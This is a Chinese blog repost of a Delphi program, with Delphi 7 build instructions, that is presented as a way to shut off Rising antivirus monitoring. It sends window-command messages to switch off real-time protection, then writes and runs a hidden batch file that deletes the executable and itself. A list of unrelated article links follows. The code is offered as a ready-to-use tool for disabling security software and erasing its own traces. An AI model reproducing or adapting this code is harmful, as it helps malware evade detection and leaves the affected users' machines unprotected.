博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
DELPHI关闭瑞星监控的源代码
阅读量:7167 次
发布时间:2019-06-29

本文共 1433 字,大约阅读时间需要 4 分钟。

program Project1;

uses

Windows, Messages, SysUtils;

procedure DeleteMe;

var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');

Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);

StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.

把全部内容拷贝到 Project1.dpr 中。在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件。

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可。

转载地址:http://nsmwm.baihongyu.com/

你可能感兴趣的文章
APScheduler BackgroundScheduler
查看>>
远程连接
查看>>
lvs-nat与lvs-dr配置
查看>>
『中级篇』容器的技术概述(二)
查看>>
Apache awstats安装报错解决过程适合初学者
查看>>
Vsftp安装及配置虚拟用户
查看>>
JVM内存区域
查看>>
DNS的视图功能的简单配置。
查看>>
linux和windows互传文件/用户配置文件和密码配置文件/用户组管理/用户管理
查看>>
通过javascript把图片转化为字符画
查看>>
OpenJPA 一些难搞的查询
查看>>
设置button的样式,使得按钮的图片在上面,文字在图片的下面
查看>>
MySQL之函数、存储过程和触发器
查看>>
完整版的OpenLDAP搭建全过程
查看>>
java反射学习总结
查看>>
104. ftl 小数位处理
查看>>
云计算自动化平台HashiCorp获1亿美元D轮融资!
查看>>
防******
查看>>
python通过线程实现定时器timer的源码
查看>>
联通5G终端外场实测:最大下载速率曝光!
查看>>